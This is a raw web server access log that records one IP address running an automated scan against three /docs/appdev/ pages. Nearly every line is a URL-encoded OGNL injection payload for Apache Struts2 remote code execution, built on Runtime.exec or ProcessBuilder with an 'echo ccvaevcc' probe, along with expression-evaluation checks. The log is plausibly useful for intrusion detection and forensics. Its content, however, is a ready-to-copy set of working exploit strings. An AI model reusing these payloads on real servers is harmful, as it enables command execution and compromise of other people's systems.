/docs/appdev/source.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:10 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:12 +0530] "GET /docs/appdev/source.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:05:58:13 +0530] "GET /docs/appdev/source.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2066
222.186.180.34 - - [26/May/2023:05:58:14 +0530] "GET /docs/appdev/source.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2066
222.186.180.34 - - [26/May/2023:05:58:15 +0530] "GET /docs/appdev/source.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:16 +0530] "GET /docs/appdev/source.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1770
222.186.180.34 - - [26/May/2023:05:58:17 +0530] "GET /docs/appdev/source.html?redirect%3A%24%7B5294967%2B3547259%7D HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:18 +0530] "GET /docs/appdev/source.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:19 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:21 +0530] "GET /docs/appdev/source.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:22 +0530] "GET /docs/appdev/source.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1454
222.186.180.34 - - [26/May/2023:05:58:23 +0530] "GET /docs/appdev/source.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1690
222.186.180.34 - - [26/May/2023:05:58:24 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:26 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:28 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:29 +0530] "POST /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:31 +0530] "GET /docs/appdev/source.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:32 +0530] "GET /docs/appdev/source.html/%24%7B8735438%2B5662344%7D/index.action HTTP/1.0" 404 1120
222.186.180.34 - - [26/May/2023:05:58:33 +0530] "GET /docs/appdev/source.html HTTP/1.0" 200 19745
222.186.180.34 - - [26/May/2023:05:58:36 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:38 +0530] "GET /docs/appdev/processes.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:39 +0530] "GET /docs/appdev/processes.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:41 +0530] "GET /docs/appdev/processes.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:42 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:43 +0530] "GET /docs/appdev/processes.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1076
222.186.180.34 - - [26/May/2023:05:58:45 +0530] "GET /docs/appdev/processes.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2072
222.186.180.34 - - [26/May/2023:05:58:46 +0530] "GET /docs/appdev/processes.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2072
222.186.180.34 - - [26/May/2023:05:58:54 +0530] "GET /docs/appdev/processes.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:55 +0530] "GET /docs/appdev/processes.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1776
222.186.180.34 - - [26/May/2023:05:58:56 +0530] "GET /docs/appdev/processes.html?redirect%3A%24%7B8047866%2B7861332%7D HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:57 +0530] "GET /docs/appdev/processes.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:58 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:58:59 +0530] "GET /docs/appdev/processes.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:01 +0530] "GET /docs/appdev/processes.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1460
222.186.180.34 - - [26/May/2023:05:59:02 +0530] "GET /docs/appdev/processes.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1696
222.186.180.34 - - [26/May/2023:05:59:03 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:05 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:06 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:07 +0530] "POST /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:09 +0530] "GET /docs/appdev/processes.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:11 +0530] "GET /docs/appdev/processes.html/%24%7B6231112%2B4956843%7D/index.action HTTP/1.0" 404 1126
222.186.180.34 - - [26/May/2023:05:59:12 +0530] "GET /docs/appdev/processes.html HTTP/1.0" 200 17157
222.186.180.34 - - [26/May/2023:05:59:16 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:17 +0530] "GET /docs/appdev/sample/?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:18 +0530] "GET /docs/appdev/sample/?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:19 +0530] "GET /docs/appdev/sample/?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:20 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:21 +0530] "GET /docs/appdev/sample//devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1062
222.186.180.34 - - [26/May/2023:05:59:22 +0530] "GET /docs/appdev/sample/&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2058
222.186.180.34 - - [26/May/2023:05:59:23 +0530] "GET /docs/appdev/sample/%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2058
222.186.180.34 - - [26/May/2023:05:59:24 +0530] "GET /docs/appdev/sample/?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:24 +0530] "GET /docs/appdev/sample/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1760
222.186.180.34 - - [26/May/2023:05:59:26 +0530] "GET /docs/appdev/sample/?redirect%3A%24%7B3982875%2B6976787%7D HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:28 +0530] "GET /docs/appdev/sample/?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:30 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:35 +0530] "GET /docs/appdev/sample/?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:36 +0530] "GET /docs/appdev/sample/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1444
